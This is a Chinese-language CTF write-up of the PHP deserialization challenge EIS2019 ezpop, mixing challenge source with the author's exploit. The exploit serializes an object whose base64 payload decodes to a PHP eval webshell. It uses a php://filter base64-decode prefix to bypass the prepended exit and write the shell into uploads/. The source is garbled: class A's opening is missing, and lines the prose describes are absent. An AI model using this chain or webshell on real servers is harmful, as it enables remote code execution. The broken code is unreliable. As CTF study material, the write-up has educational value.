[EIS2019] ezpop
看到这个标题就知道应该是反序列化构造pop链,不过实际写下来感觉pop链没什么东西,绕过的trick倒是学了一堆,先上源码
key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
// print $contents;
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "\n" . $data;
// print $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
$b = new B();
$b->options['serialize'] = "strval";
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$a = new A($b, 'z3ratu1.php');
$a->cache = array('dirname'=> "PD9waHAgZXZhbCgkX0dFVFsnYSddKTsgPz4");
echo str_replace(' ','%',serialize($a));
定义两个类,魔法方法就A中一个构造一个析构,能用的只有析构,析构直接进save,save函数仅在B类中存在,也就省去了有的题目还要思考是走哪个类的pop链的问题
类A最后会通过析构进入类B的save函数中,所以store这个对象肯定是一个B,类A剩下两个函数都是对content内容进行加工,但是就我做题情况而言,好像这两个函数都没什么用。。。
总的效果就是如果数组中存在一个值仍为数组,就把他和写死的数组比较然后返回键名相同的项,最后通过json_encode一下,
最后这个值会在save函数里作为data的内容拼接一个exit写入文件,剩下的A,B两个类里面的大部分参数都是直接可以控制的,A中的key为写入的文件名,B中的option[‘prefix’]是目录名
options[‘expire’]不知道有什么用,一通类型转换之后写进了注释里面,sprintf('%012d', $expire)
这里的%012d表示最短12位的数字,不足12位用0填充
option[‘serialize’]中对应的函数名对我们传入的数据进行一次处理,什么都不做就可以了,选择strval()
options[‘data_compress’]不知道是想干什么,是不是把自己写入的字符串压缩一下到时候可以在写入的时候用伪协议解压写入来绕过死亡exit?
但是file_put_contents也支持其他协议,比如php://filter,我们把shell先用base64编码传入,用base64解码将整个内容解码写入就可以绕过死亡exit了,这个是个很老的trick,以前看p神的博客有写过
整个题重点就是一个option['prefix'] = 'php://filter/write=convert.base64-decode/resource=upload/'